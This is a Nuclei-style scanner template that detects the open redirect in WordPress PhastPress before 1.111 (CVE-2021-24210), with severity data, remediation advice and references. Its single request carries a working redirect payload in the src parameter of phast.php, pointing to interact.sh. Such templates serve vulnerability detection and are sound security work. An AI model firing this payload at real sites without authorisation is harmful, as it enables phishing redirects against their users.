id: CVE-2021-24210

info:
  name: WordPress PhastPress <1.111 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
    WordPress PhastPress plugin before 1.111 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to potential phishing attacks or the execution of other malicious activities.
  remediation: |
    Update the WordPress PhastPress plugin to version 1.111 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9b3c5412-8699-49e8-b60c-20d2085857fb
    - https://plugins.trac.wordpress.org/changeset/2497610/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24210
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24210
    cwe-id: CWE-601
    epss-score: 0.03066
    epss-percentile: 0.86313
    cpe: cpe:2.3:a:kiboit:phastpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: kiboit
    product: phastpress
    framework: wordpress
  tags: cve2021,cve,redirect,wpscan,wordpress,kiboit,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/phastpress/phast.php?service=scripts&src=https%3A%2F%2Finteract.sh"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
# digest: 4a0a00473045022100fd1c659727656c9d0fe3b86bf6efb711ddcfe21706dfc9d046261c68a8a228da02206cc15073c5b268ab65ec5caca46e9a99e3a112e9099ad8de75c8e9083c8e2ad5:922c64590222798bb761d5b6d8e72950